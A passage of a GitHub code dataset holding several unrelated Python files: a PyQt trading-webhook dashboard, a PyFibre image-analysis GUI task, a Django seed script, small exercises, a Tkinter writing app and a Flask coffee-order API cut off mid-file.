QtWidgets.QLabel(all_filters_widget)\n self.server_state_label.setMinimumSize(80, 25)\n all_filters_layout.addWidget(self.server_state_label, 0, 3)\n\n central_widget_layout.addWidget(all_filters_widget, 0, 0)\n\n\n self.dashboard_table_widget = DashboardTableWidget()\n self.dashboard_table_widget.setMinimumSize(700, 350)\n central_widget_layout.addWidget(self.dashboard_table_widget, 1, 0)\n\n\n buttons_widget = QtWidgets.QWidget(central_widget)\n buttons_widget_layout = QtWidgets.QGridLayout(buttons_widget)\n buttons_widget_layout.setSpacing(10)\n\n spacer = QtWidgets.QSpacerItem(120, 10, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n buttons_widget_layout.addItem(spacer, 0, 0)\n\n self.auto_udate_state_checkbox = QtWidgets.QCheckBox(buttons_widget)\n self.auto_udate_state_checkbox.setCheckState(QtCore.Qt.Unchecked)\n self.auto_udate_state_checkbox.setText(\"Auto Update\")\n self.auto_udate_state_checkbox.setMinimumSize(100, 25)\n buttons_widget_layout.addWidget(self.auto_udate_state_checkbox, 0, 2)\n\n lower_spacer = QtWidgets.QSpacerItem(120, 10, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n buttons_widget_layout.addItem(lower_spacer, 1, 0)\n\n self.alerts_counter_label = QtWidgets.QLabel(buttons_widget)\n self.alerts_counter_label.setMinimumSize(150, 25)\n self.alerts_counter_label.setText(\"Alerts Count:\")\n buttons_widget_layout.addWidget(self.alerts_counter_label, 1, 1)\n \n self.update_button = QtWidgets.QPushButton(buttons_widget)\n self.update_button.setMinimumSize(100, 25)\n self.update_button.setText(\"Update Table\")\n buttons_widget_layout.addWidget(self.update_button, 1, 2)\n\n central_widget_layout.addWidget(buttons_widget, 2, 0)\n\n self.filters_widget = None\n self.setup_connectins()\n self.records_limit = 10\n self.auto_update_state = False\n\n def setup_connectins(self):\n self.update_button.clicked.connect(lambda: self.dashboard_table_widget.fill_table(limit=self.records_limit))\n \n config_setup_widget = None\n def show_config_setup_widget():\n nonlocal config_setup_widget\n config_setup_widget = ConfigSetupWidget([\"server_host\", \"server_port\"])\n config_setup_widget.show()\n config_setup_widget.save_parameters_button.clicked.connect(close_config_setup_widget)\n\n def close_config_setup_widget():\n config_setup_widget.save_parameters_to_config()\n config_setup_widget.close()\n \n app_data_widget = None\n def show_app_data_widget():\n nonlocal app_data_widget\n app_data_widget = DataStatWidget()\n app_data_widget.show()\n app_data_widget.records_limit_line_edit.setText(str(self.records_limit))\n\n def set_limit():\n limit = app_data_widget.records_limit_line_edit.text()\n if limit != '':\n self.records_limit = int(limit)\n else:\n limit = 10\n\n app_data_widget.records_limit_save_button.clicked.connect(set_limit)\n\n\n self.menu_bar.setup_config_action.triggered.connect(show_config_setup_widget)\n self.menu_bar.app_data_action.triggered.connect(show_app_data_widget)\n \n \n def show_filters_widget():\n def reset_table_filters():\n self.filters_widget.close()\n self.dashboard_table_widget.current_filters = \"\"\n self.filters_widget = None\n self.dashboard_table_widget.fill_table(limit=self.records_limit)\n \n def set_table_filters():\n self.filters_widget.close()\n self.dashboard_table_widget.current_filters = self.filters_widget.apply() \n self.dashboard_table_widget.fill_table(limit=self.records_limit)\n\n filtered_parameters = {}\n\n if not self.dashboard_table_widget.current_table_data is None:\n for bot_id in self.dashboard_table_widget.current_table_data[\"Bot_ID\"].tolist():\n filtered_endpoints = []\n endpoints_list = self.dashboard_table_widget.current_table_data[\"Endpoint\"].tolist()\n for endpoint in endpoints_list:\n \n if endpoint != \"\" and endpoint not in filtered_endpoints:\n filtered_endpoints.append(endpoint)\n if filtered_endpoints != []:\n filtered_parameters[bot_id] = {\"side\":[\"long\", \"short\"], \"no_trade\":[\"true\"], \"processing_result\":[\"sent\", \"passed\"], \"endpoint\":filtered_endpoints}\n else:\n filtered_parameters[bot_id] = {\"side\":[\"long\", \"short\"], \"no_trade\":[\"true\"], \"processing_result\":[\"sent\", \"passed\"]}\n \n if self.filters_widget is None:\n self.filters_widget = FiltersWidget(filtered_parameters)\n self.filters_widget.save_button.clicked.connect(set_table_filters)\n self.filters_widget.reset_button.clicked.connect(reset_table_filters)\n\n self.filters_widget.show()\n \n self.filters_button.clicked.connect(show_filters_widget)\n self.search_line.textChanged.connect(self.dashboard_table_widget.filter_proxy_model.setFilterRegExp)\n\n def set_server_status():\n status = os.system(\"systemctl is-active webhooks.service\") \n if status == 0:\n self.server_state_label.setText(\"Enabled\")\n else:\n self.server_state_label.setText(\"Disabled\")\n\n if self.auto_udate_state_checkbox.isChecked() == True:\n self.dashboard_table_widget.fill_table(self.records_limit)\n \n \n self.server_state_timer = QtCore.QTimer(self)\n self.server_state_timer.timeout.connect(set_server_status)\n self.server_state_timer.start(5000)\n\ndef setup_app_style(app):\n with open('stylesheet.qss','r') as f:\n style = f.read()\n f.close()\n\n app.setStyleSheet(style)\n\nif __name__ == \"__main__\":\n\n import sys\n\n try:\n\n logging.info(str(datetime.datetime.now()) + \" Ui_main.py || Started Ui_main.py!\")\n\n app = QtWidgets.QApplication(sys.argv)\n main_window = UiMainWindow() \n setup_app_style(app)\n main_window.show()\n sys.exit(app.exec_())\n\n except Exception as e: \n logging.error(str(datetime.datetime.now()) + \" Ui_main.py || Exception handled! - \" + str(e))","repo_name":"JustBruh/TradingViewWebHooks","sub_path":"ui_main.py","file_name":"ui_main.py","file_ext":"py","file_size_in_byte":25207,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"10046034981","text":"import logging\n\nimport numpy as np\nimport pandas as pd\n\nfrom pyface.api import ImageResource, FileDialog, OK\nfrom pyface.qt import QtGui\nfrom pyface.tasks.action.api import (\n SMenu, SMenuBar, SToolBar, TaskAction, TaskToggleGroup\n)\nfrom pyface.tasks.api import (\n PaneItem, Task, TaskLayout, Tabbed\n)\nfrom traits.api import (\n Bool, Int, List, Property, Instance, Event, Any,\n on_trait_change, HasStrictTraits, File\n)\nfrom traits_futures.api import (\n TraitsExecutor, CANCELLED, COMPLETED,\n)\n\nfrom pyfibre.gui.options_pane import OptionsPane\nfrom pyfibre.gui.file_display_pane import FileDisplayPane\nfrom pyfibre.gui.viewer_pane import ViewerPane\nfrom pyfibre.io.database_io import save_database\nfrom pyfibre.core.i_multi_image_factory import IMultiImageFactory\nfrom pyfibre.pyfibre_runner import (\n PyFibreRunner)\n\nlogger = logging.getLogger(__name__)\n\n\ndef run_analysis(file_sets, runner, analysers, readers):\n\n for image_type, reader in readers.items():\n analyser = analysers[image_type]\n list(runner.run(file_sets, analyser, reader))\n\n\nclass PyFibreMainTask(Task):\n\n # ------------------\n # Regular Attributes\n # ------------------\n\n id = 'pyfibre.pyfibre_main_task'\n\n name = 'PyFibre GUI (Main)'\n\n database_filename = File('pyfibre_database')\n\n multi_image_factories = List(IMultiImageFactory)\n\n options_pane = Instance(OptionsPane)\n\n file_display_pane = Instance(FileDisplayPane)\n\n viewer_pane = Instance(ViewerPane)\n\n #: The Traits executor for the background jobs.\n traits_executor = Instance(TraitsExecutor, ())\n\n #: List of the submitted jobs, for display purposes.\n current_futures = List(Instance(HasStrictTraits))\n\n #: Maximum number of workers\n n_proc = Int(1)\n\n #: The menu bar for this task.\n menu_bar = Instance(SMenuBar)\n\n #: The tool bar for this task.\n tool_bars = List(SToolBar)\n\n #: Is the run button enabled?\n run_enabled = Property(\n Bool(), depends_on='current_futures.state')\n\n #: Is the stop button enabled?\n stop_enabled = Property(\n Bool(), depends_on='current_futures.state')\n\n change_options = Event()\n\n # ------------------\n # Private Traits\n # ------------------\n\n _progress_bar = Any()\n\n def __init__(self, *args, **kwargs):\n\n super(PyFibreMainTask, self).__init__(*args, **kwargs)\n\n self.supported_parsers = {}\n self.supported_readers = {}\n self.supported_analysers = {}\n self.supported_viewers = {}\n\n for factory in self.multi_image_factories:\n self.supported_parsers[factory.label] = factory.create_parser()\n self.supported_readers[factory.label] = factory.create_reader()\n self.supported_analysers[factory.label] = factory.create_analyser()\n key = factory.multi_image_class\n self.supported_viewers[key] = factory.create_viewer()\n\n self.image_databases = {\n tag: [None for _ in analyser.database_names]\n for tag, analyser in self.supported_analysers.items()\n }\n\n # ------------------\n # Defaults\n # ------------------\n\n def _default_layout_default(self):\n \"\"\" Defines the default layout of the task window \"\"\"\n return TaskLayout(\n left=Tabbed(\n PaneItem('pyfibre.file_display_pane'),\n PaneItem('pyfibre.options_pane'))\n )\n\n def _options_pane_default(self):\n return OptionsPane()\n\n def _file_display_pane_default(self):\n return FileDisplayPane(\n supported_readers=self.supported_readers,\n supported_parsers=self.supported_parsers)\n\n def _viewer_pane_default(self):\n return ViewerPane(\n supported_viewers=self.supported_viewers)\n\n def _menu_bar_default(self):\n \"\"\"A menu bar with functions relevant to the Setup task.\n \"\"\"\n menu_bar = SMenuBar(SMenu(TaskToggleGroup(),\n id='File', name='&File'),\n SMenu(id='Edit', name='&Edit'),\n SMenu(TaskToggleGroup(),\n id='View', name='&View'))\n\n return menu_bar\n\n def _tool_bars_default(self):\n tool_bars = [\n SToolBar(\n TaskAction(\n name=\"Run\",\n tooltip=\"Run PyFibre\",\n image=ImageResource(\n \"baseline_play_arrow_black_48dp\"),\n method=\"_run_pyfibre\",\n image_size=(64, 64),\n enabled_name='run_enabled'\n ),\n TaskAction(\n name=\"Stop\",\n tooltip=\"Stop PyFibre run\",\n image=ImageResource(\n \"baseline_stop_black_18dp\"),\n method=\"stop_run\",\n image_size=(64, 64),\n enabled_name='stop_enabled'\n ),\n TaskAction(\n name=\"Save Database\",\n tooltip=\"Save database containing \"\n \"image metrics\",\n image=ImageResource(\n \"baseline_save_black_48dp\"),\n method=\"save_database_as\"\n )\n )\n ]\n return tool_bars\n\n # ------------------\n # Listener Methods\n # ------------------\n\n def _get_run_enabled(self):\n if self.current_futures:\n return all([\n future.done\n for future in self.current_futures\n ])\n return True\n\n def _get_stop_enabled(self):\n if self.current_futures:\n return any([\n future.cancellable\n for future in self.current_futures\n ])\n return False\n\n @on_trait_change('file_display_pane.selected_files')\n def update_selected_row(self):\n \"\"\"Opens corresponding to the first item in\n selected_rows\"\"\"\n selected_row = (self.file_display_pane.selected_files[0])\n\n image_type = selected_row.tag\n file_set = selected_row.file_set\n\n try:\n reader = self.supported_readers[image_type]\n multi_image = reader.load_multi_image(file_set)\n except (KeyError, ImportError):\n logger.debug(f'Cannot display image data for {selected_row.name}')\n else:\n logger.info(f\"Displaying image data for {multi_image.name}\")\n self.viewer_pane.selected_image = multi_image\n\n @on_trait_change('run_enabled')\n def update_ui(self):\n if self.run_enabled:\n self.viewer_pane.update()\n\n @on_trait_change('current_futures:result_event')\n def _report_result(self, result):\n database = result[0]\n logger.info(f\"Image analysis complete for {database['File']}\")\n\n @on_trait_change('current_futures:done')\n def _future_done(self, future, name, new):\n if future.state == COMPLETED:\n print(\"Run complete\")\n self.current_futures.remove(future)\n elif future.state == CANCELLED:\n print(\"Run cancelled\")\n self.current_futures.remove(future)\n\n # ------------------\n # Private Methods\n # ------------------\n\n def _create_progress_bar(self, dialog):\n self._progress_bar = QtGui.QProgressBar(dialog)\n return self._progress_bar\n\n def _cancel_all_fired(self):\n for future in self.current_futures:\n if future.cancellable:\n future.cancel()\n\n def _run_pyfibre(self):\n\n if self.file_display_pane.n_images == 0:\n self.stop_run()\n return\n\n file_table = self.file_display_pane.file_table\n\n proc_count = np.min(\n (self.n_proc, self.file_display_pane.n_images))\n index_split = np.array_split(\n np.arange(self.file_display_pane.n_images),\n proc_count)\n\n for indices in index_split:\n batch_rows = [file_table[index] for index in indices]\n batch_file_sets = [row.file_set for row in batch_rows]\n\n runner = PyFibreRunner(\n p_denoise=(self.options_pane.n_denoise,\n self.options_pane.m_denoise),\n sigma=self.options_pane.sigma,\n alpha=self.options_pane.alpha,\n ow_network=self.options_pane.ow_network,\n ow_segment=self.options_pane.ow_segment,\n ow_metric=self.options_pane.ow_metric,\n save_figures=self.options_pane.save_figures)\n\n future = self.traits_executor.submit_iteration(\n run_analysis, batch_file_sets, runner,\n self.supported_analysers, self.supported_readers\n )\n self.current_futures.append(future)\n\n # ------------------\n # Public Methods\n # ------------------\n\n def create_central_pane(self):\n \"\"\" Creates the central pane\n \"\"\"\n return self.viewer_pane\n\n def create_dock_panes(self):\n \"\"\" Creates the dock panes\n \"\"\"\n return [self.file_display_pane,\n self.options_pane]\n\n def create_databases(self):\n \"\"\"Create and collate metric databases for each loaded multi\n image type\"\"\"\n\n image_databases = {\n tag: [pd.DataFrame() for _ in analyser.database_names]\n for tag, analyser in self.supported_analysers.items()\n }\n\n for row in self.file_display_pane.file_table:\n image_type = row.tag\n\n try:\n reader = self.supported_readers[image_type]\n analyser = self.supported_analysers[image_type]\n except KeyError:\n logger.info(\n f\"{row.name} analyser / reader not found\"\n f\" - skipping\")\n continue\n\n try:\n analyser.multi_image = reader.load_multi_image(row.file_set)\n databases = analyser.load_databases()\n\n for index, database in enumerate(databases):\n if isinstance(database, pd.Series):\n image_databases[image_type][index] = (\n image_databases[image_type][index].append(\n database, ignore_index=True)\n )\n elif isinstance(database, pd.DataFrame):\n image_databases[image_type][index] = (\n pd.concat([image_databases[image_type][index],\n database], sort=True)\n )\n\n except (IOError, ImportError):\n logger.info(\n f\"{row.name} databases not imported\"\n f\" - skipping\")\n\n finally:\n analyser.multi_image = None\n\n self.image_databases = image_databases\n\n def save_database(self, filename):\n \"\"\"Save databases successfully generated by all loaded images\"\"\"\n\n for tag, analyser in self.supported_analysers.items():\n for index, name in enumerate(analyser.database_names):\n try:\n save_database(\n self.image_databases[tag][index],\n filename,\n name\n )\n except IOError:\n logger.exception(\"Error when saving databases\")\n return False\n return True\n\n def save_database_as(self):\n \"\"\" Shows a dialog to save the databases\"\"\"\n dialog = FileDialog(\n action=\"save as\",\n default_filename=self.database_filename,\n )\n\n result = dialog.open()\n\n if result is not OK:\n return\n\n current_file = dialog.path\n\n self.create_databases()\n\n return self.save_database(current_file)\n\n def stop_run(self):\n self._cancel_all_fired()\n\n def exit_task(self):\n self.stop_run()\n self.traits_executor.stop()\n","repo_name":"franklongford/PyFibre","sub_path":"pyfibre/gui/pyfibre_main_task.py","file_name":"pyfibre_main_task.py","file_ext":"py","file_size_in_byte":12225,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"46111185087","text":"import os\nos.environ['DJANGO_SETTINGS_MODULE'] = 'urbanroots.settings'\nimport django\ndjango.setup()\nimport datetime\nfrom adminapi.models import Skill, Area, UserVolunteer, SkillsList, AreasList, Job\nfrom django.contrib.auth.models import User\n\n# Add skills and areas\n\nskills = [\n \"Gardening\",\n \"Repair\",\n \"Lifting heavy objects\",\n \"Cycling\",\n \"Painting\",\n \"Landscaping\",\n \"Mechnical repairs\",\n \"Fertilisation\",\n \"Pest control\",\n]\n\nareas = [\n \"Toryglen\",\n \"Castlemilk\",\n \"Govan\",\n \"Ibrox\",\n \"Priesthill & Greater Pollok\",\n \"Pollokshields\",\n]\n\nSkill.objects.all().delete()\nArea.objects.all().delete()\n\nfor skill in skills:\n Skill(name=skill).save()\n\nfor area in areas:\n Area(name=area).save()\n\n# Add volunteers\n\nvolunteers = [\n (\"cshtarkov\", \"Christian Shtarkov\"),\n (\"ailov\", \"Alexander Ilov\"),\n (\"mharling\", \"Michael Harling\"),\n (\"ksonev\", \"Kristian Sonev\"),\n]\n\ni = 0\nrep_names = [\"broken fence\", \n \"burnt wall\",\n \"destroyed garden\", \n \"bin set on fire\", \n \"broken gate\", \n \"smashed shed window\",\n \"wall spray painted\"]\nrep_descrpts = [\"Fence broken next to Castle Road\",\n \"Wall burnt by vandals next to garden shed\",\n \"Garden next to Govan Road\"\n \"bin set on fire next to road at left side of garden\",\n \"Garden gate broken by vandals\",\n \"Shed window smashed in garden next to McCulloch Street \",\n \"Wall next to garden shed has been spray painted\"\n ]\nrep_names = [\n \"Fence broken by vandals next to garden shed\",\n \"Wall burnt by vandals next to garden shed\",\n \"Garden next to Govan Road\",\n \"Bin set on fire next to road at left side of Priesthill Garden\",\n]\nrep_descrpts = [\n \"\"\"\n I was walking by the garden shed behind my building in Pollock,\n and I noticed that the roof of the shed has been vandalised.\n There are multiple tears in the roof, probably made a sharp blade,\n not sure why.\n The crops themselves seem intact.\n \"\"\",\n \"\"\"\n One of the walls of the shed in Ibrox has been reduced to ashes.\n I heard some loud noises from people last night, obviously drunk,\n and talking about setting something on fire. Unfortunately I'm\n not able to indentify any one of them.\n \"\"\",\n \"\"\"\n There's a good opportunity to start a community garden right\n next to Govan Road, towards the supermarket. The lot opposite\n is just sitting there and I don't think anyone would mind.\n \"\"\",\n \"\"\"\n Just this minute I noticed two kids settings fire to the bin\n near Priesthill Garden. If this spreads, it could be trouble.\n \"\"\",\n]\n\nUser.objects.all().delete()\nUserVolunteer.objects.all().delete()\nJob.objects.all().delete()\n\nfor volunteer in volunteers:\n\n u = User.objects.create_user(volunteer[0], 'blank@what.com', '123')\n u.first_name = volunteer[1].split()[0]\n u.last_name = volunteer[1].split()[1]\n u.save()\n v = UserVolunteer.objects.get_or_create(user=u,\n phone_number=\"123456789\", skills=\"gardening, painting\",\n address=\"101 Govan Road\")\n skill0 = Skill.objects.get(name=skills[0])\n skill1 = Skill.objects.get(name=skills[1])\n skill_list0 = SkillsList.objects.get_or_create(volunteer=v[0],\n skill=skill0)\n skill_list1 = SkillsList.objects.get_or_create(volunteer=v[0],\n skill=skill1)\n job = Job.objects.get_or_create(name=rep_names[i],accepted=False, created=datetime.datetime.today()\n , description=rep_descrpts[i], location=Area.objects.get(name=\"Ibrox\"))\n i+=1\n #for skill_list in SkillsList.objects.all():\n #print(skill_list.volunteer.user.first_name, skill_list.skill.name)\n\n area0 = Area.objects.get(name=areas[0])\n area_list0 = AreasList.objects.get_or_create(volunteer=v[0],\n area=area0)\n\n #for area_list in AreasList.objects.all():\n #print(area_list.volunteer.user.first_name, area_list.area.name)\n \n","repo_name":"Glasgow2015/team-2","sub_path":"server/urbanroots/seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18539736943","text":"'''\n15.(Geometry: area of a hexagon) Write a program that prompts the user to enter the\nside of a hexagon and displays its area. The formula for computing the area of a\nhexagon is\n\n Area = (3 * (3)**0.5 / 2) * s ** 2, \n where s is the length of a side.\n'''\n# Prompting User for input values\nsides = eval(input(\"Enter the side:\"))\n\n# Calculating the area\narea = (3 * (3) ** 0.5 / 2) * sides ** 2\n\n# Displaying the results \nprint(\"The area of the hexagon is {}\".format(area))","repo_name":"musawakiliML/Python-Exercises","sub_path":"Introduction to Programming using Python/Chapter 2/Ex2.15.py","file_name":"Ex2.15.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3501582402","text":"import re\n\nREGISTRY_VERSIONED_ID_REGEX = \"^azureml://registries/([^/]+)/([^/]+)/([^/]+)/versions/([^/]+)\"\nREGISTRY_LABEL_ID_REGEX = \"^azureml://registries/([^/]+)/([^/]+)/([^/]+)/labels/([^/]+)\"\n\n\ndef get_registry_model(\n credential,\n registry_name: str = None,\n id: str = None,\n model_name: str = None,\n version: str = None,\n label: str = None,\n):\n from azure.ai.ml import MLClient\n\n if id:\n if \"versions\" in id:\n match = re.match(REGISTRY_VERSIONED_ID_REGEX, id)\n registry_name = match.group(1)\n model_name = match.group(3)\n version = match.group(4)\n elif \"labels\" in id:\n match = re.match(REGISTRY_LABEL_ID_REGEX, id)\n registry_name = match.group(1)\n model_name = match.group(3)\n label = match.group(4)\n\n registry_client = MLClient(credential, registry_name=registry_name)\n return registry_client.models.get(name=model_name, label=label, version=version)\n","repo_name":"Azure/azure-sdk-for-python","sub_path":"sdk/ai/azure-ai-resources/azure/ai/resources/_utils/_registry_utils.py","file_name":"_registry_utils.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":3916,"dataset":"github-code","pt":"54"} +{"seq_id":"32796597132","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDisappearing Text Writing App\n\n@author: ANAT-H\n\ntimer icon by https://icons8.com/icon/YpYKjtEKaXLy/timer\" \nicon by \"https://icons8.com\"\n\n\"\"\"\nfrom tkinter import *\nfrom tkinter import ttk\nfrom string import printable\nfrom time import sleep\n\n# consts\nBG = 'black'\nTEXT_FONT=('courier', 20, 'bold')\nCOUNTER_FONT=('courier', 28, 'bold')\nTEXTBOX_FONT = ('courier', 12, 'bold')\nBUTTON_FONT = ('courier', 15, 'normal')\nP_CODES = {'exclam': 49,\n 'quotedbl': 222,\n 'numbersign': 51,\n 'dollar': 52,\n 'percent': 53,\n 'ampersand': 55,\n 'backslash': 220,\n 'parenleft': 57,\n 'parenright': 48,\n 'asterisk': 106,\n 'plus': 107,\n 'minus': 109,\n 'period': 110,\n 'slash': 111,\n 'colon': 186,\n 'less': 188,\n 'equal': 187,\n 'greater': 190,\n 'question': 191,\n 'at': 50,\n 'bracketleft': 219,\n 'bracketright': 221,\n 'asciicircum': 54,\n 'underscore': 189,\n 'asciitilde': 192,\n 'backspace': 8}\n\nstart_timer=False\nafter_id=None\n\ndef start():\n global after_id\n intro.grid_forget()\n start_btn.grid_forget()\n label_text.set('Start Writing...')\n label.grid(column=2, row=1, pady=(40,10), sticky=(W,E)) \n countdown.grid(column=2, row=1, pady=(40,10), sticky=E) \n count.set('5')\n after_id = root.after(1000, update)\n textbox.grid(column=2, row=2, padx=(10,0), pady=20, sticky=(N ,W, E, S))\n scroller.grid(column=3, row=2, padx=(0, 10), pady=20, sticky=(N, S, E))\n textbox.focus()\n\n \ndef start_timing(event):\n '''\n set start_timer as True upon typing.\n reset timer while typing\n \n Parameters\n ----------\n event : Event\n KeyPress Event.\n \n '''\n global start_timer\n if (event.keysym in printable) or (event.keycode in P_CODES.values()):\n start_timer=True\n label_text.set('Writing...')\n count.set('5') \n\ndef update():\n '''\n update timer if started.\n call clear_text() if timer reaches 0.\n scheduled next after() call\n \n '''\n \n global after_id\n if start_timer==True:\n sec = int(count.get())-1 \n if sec > 0:\n count.set(str(sec)) \n else: \n count.set('0') \n after_id = root.after(100, clear_text) \n after_id = root.after(1000, update)\n \n\ndef clear_text():\n '''\n clear textbox content\n \n '''\n global start_timer \n textbox.delete('1.0',END) \n label_text.set('Start Writing...')\n count.set('5')\n start_timer=False\n\ndef wquit():\n '''\n remove all pending tasks and exit.\n \n '''\n if after_id:\n root.after_cancel(after_id)\n root.destroy()\n \n## main window\nroot = Tk()\nroot.title('Disappearing Text Writing App')\nroot.minsize(600,500)\nroot.columnconfigure(0, weight=1)\nroot.rowconfigure(0, weight=1)\n\n## styles\nstyle = ttk.Style()\nstyle.configure('style.TFrame', background=BG)\nstyle.configure('style.TLabel', background=BG, foreground='pink', font=TEXT_FONT)\nstyle.configure('stylecount.TLabel', background=BG, foreground='pink', font=COUNTER_FONT)\nstyle.configure('style.TButton', background=BG, foreground='black', font=BUTTON_FONT)\n\n## main frame\nframe = ttk.Frame(root, padding='20 0 20 20', style='style.TFrame')\nframe.grid(column=0, row=0, sticky=(N ,W, E, S))\nframe.columnconfigure(1, weight=1)\nframe.columnconfigure(2, weight=2)\nframe.columnconfigure(3, weight=0)\nframe.columnconfigure(4, weight=1)\nframe.rowconfigure(2, weight=1)\n\n## content\n# first screen\nintro = ttk.Label(frame, text='Write a poem, a novel, or a short story,\\nbut do not linger..\\nor your work will be undone...', style='style.TLabel')\nintro.grid(column=1, row=1, padx=20, pady=(150, 10), sticky=(W,E))\nstart_btn = ttk.Button(frame, text=\"Let's go\", command=start, style='style.TButton')\nstart_btn.grid(column=1, row=2, sticky=S, pady=(0, 120), ipady=3)\n\n# second screen\nlabel_text = StringVar()\nlabel = ttk.Label(frame, textvariable=label_text, style='style.TLabel')\ncount = StringVar()\nimage=PhotoImage(file=\"icons8-timer-64.png\")\ncountdown = ttk.Label(frame, image=image, textvariable=count, compound='left', style='stylecount.TLabel')\ntextbox = Text(frame, wrap='word', width=60, height=20, font=TEXTBOX_FONT)\nscroller = ttk.Scrollbar(frame, orient=VERTICAL, command=textbox.yview)\ntextbox['yscrollcommand'] = scroller.set\ntextbox.bind('',start_timing)\n\nroot.protocol('WM_DELETE_WINDOW', wquit)\nroot.mainloop()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"natnat16/disappearing-text-app","sub_path":"disappearing-text.py","file_name":"disappearing-text.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28397368436","text":"# period Monday 11 to Friday 15\n\n########################################################################################################################\n# Earnings\nearn_mon = 200\n\nearn_tue = 200\n\nearn_wed = 100\n\nearn_thu = 200\n\nearn_fri = 200\n\nlist_earnings = [earn_mon, earn_tue, earn_wed, earn_thu, earn_fri]\n\ntotal_earnings = sum(list_earnings)\n\nprint(f'The total amount you have earned this week is: {total_earnings}')\n\n########################################################################################################################\n# expediture\nspent_mon = 200\n\nspent_tue = 200\n\nspent_wed = 100\n\nspent_thu = 200\n\nspent_fri = 200\n\nlist_expense = [spent_mon, spent_tue, spent_wed, spent_thu, spent_fri]\n\ntotal_expense = sum(list_expense)\n\nprint(f'The total amount you have spent this week is: {total_expense}')\n\n########################################################################################################################\n# loans\nokoa_jahazi = 100\n\nfuliza = 400\n\nlist_loans = [okoa_jahazi, fuliza]\n\ntotal_loans = sum(list_loans)\n\n########################################################################################################################\n#Networth\n\ndef networth(total_earnings = total_earnings, total_expense = total_expense, total_loans = total_loans):\n return total_earnings - (total_expense + total_loans)\n\nprint(f'Your networth is {networth()}')\n\n########################################################################################################################\n# Networth based on bang system\nlist_bangs = list(range(0, networth(), 50))\nprint(list_bangs)\n\ntemporary = []\ndef sets(list_bangs = list_bangs):\n if len(list_bangs) >= 10:\n temporary.append(list_bangs[0:10])\n del list_bangs[0:10]\n sets(list_bangs)\n else:\n temporary.append(list_bangs[0:])\n\nsets() \nprint(temporary)\n\n# bangs = len(temporary)\nfor i in temporary:\n if len(i) < 10:\n bangs = len(temporary) - 1\n\nsets = len([x for i in temporary for x in i])\n\nprint(f'According the bang system you have {bangs} bangs and {sets} sets')","repo_name":"MichaelMutuku/python_daily","sub_path":"Algorithms/finances/week_1.py","file_name":"week_1.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"37248912972","text":"# Mingyue Wei\nfrom flask import Flask,jsonify,request,url_for\nimport json,datetime\n\napp = Flask(__name__)\ndatabase = []\ncoffee={\"latte\":3,\"Espresso\":4,\"Double Espresso\":6,\"Short Macchiato\":7,\"Long Macchiato\":6,\"Ristretto\":5,\"Long Black\":6,\"Cappuccino\":4,\"Mocha\":5,\"Affogato\":5,\"Flat White\":7,\"Piccolo Latte\":5}\norder_id = 1\n\nclass Order:\n def __init__(self, id, type_coffee, cost, additions, status, coffee_status,next):\n self.id = id\n self.type_coffee = type_coffee\n self.cost = cost\n self.additions = additions\n self.status = status\n self.coffee_status = coffee_status\n self.next = next\n\nclass Payment:\n def __init__(self, id, type_payment, amount, cardNo, expires, name, coffee_status):\n self.id = id\n self.type_payment = type_payment\n self.amount = amount\n self.cardNo = cardNo\n self.expires = expires\n self.name = name\n self.coffee_status = coffee_status\n\n#create order\n@app.route(\"/coffee/create/order\", methods=['POST'])\ndef create_order():\n global order_id\n data=request.get_data().decode()\n try:\n data=json.loads(data)\n if (type(data['type_coffee']) == str):\n data['id'] = order_id\n data['status'] = \"unpaid\"\n data['coffee_status'] = \"not_started\"\n data['additions'] = \"\"\n if data['type_coffee'] in coffee:\n myCost = coffee[data['type_coffee']]\n else:\n return jsonify(\"Sorry, we do not have what you order. The following is our menu.\",coffee,), 400\n data['cost'] = myCost\n data['next'] = url_for('update_order',id=order_id)\n order_id += 1\n database.append(\n Order(data['id'], data['type_coffee'], float(myCost), data['additions'], data['status'],\n data['coffee_status'], data['next']))\n return jsonify(data), 201\n return jsonify(\"You do not successfully create the order.\"),400\n except Exception as e:\n return jsonify(\"Data is not valid.\"),400\n\n#get all the list of orders\n@app.route(\"/coffee/get/orders\", methods=['GET'])\ndef get_all_orders():\n if database!=[]:\n return jsonify([st.__dict__ for st in database]),200\n else:\n return jsonify(\"We do not have any orders.\"),404\n\n#get specific order\n@app.route(\"/coffee/get/order/\", methods=['GET'])\ndef get_single_order(id):\n for st in database:\n if (st.id==id):\n return jsonify(st.__dict__),200\n return jsonify(\"The order is not exist.\"),404\n\n#barista gets all open order\n@app.route(\"/coffee/get/openorders\", methods=['GET'])\ndef get_all_open_orders():\n result = list()\n for i in database:\n if i.coffee_status!=\"released\":\n result.append(i.__dict__)\n if len(result) > 0:\n return jsonify(result), 200\n return jsonify(\"We do not have open orders.\"), 404\n\n#barista gets specific open orders\n@app.route(\"/coffee/get/openorder/\", methods=['GET'])\ndef get_single_open_order(id):\n for st in database:\n if (st.coffee_status!=\"released\" and st.id==id):\n return jsonify(st.__dict__),200\n return jsonify(\"The order is not exist.\"),404\n\n#update specfic order\n@app.route(\"/coffee/update/order/\", methods=['put'])\ndef update_order(id):\n data = request.get_data().decode()\n try:\n data = json.loads(data)\n for st in database:\n if (st.id == id):\n if (st.status==\"unpaid\" and st.coffee_status==\"not_started\"):\n if data['type_coffee'] in coffee:\n myCost = coffee[data['type_coffee']]\n st.type_coffee = data['type_coffee']\n st.additions = data['additions']\n st.cost = myCost\n st.next = url_for('create_payment', id=st.id)\n return jsonify(st.__dict__), 200\n else:\n return jsonify(\"sorry, 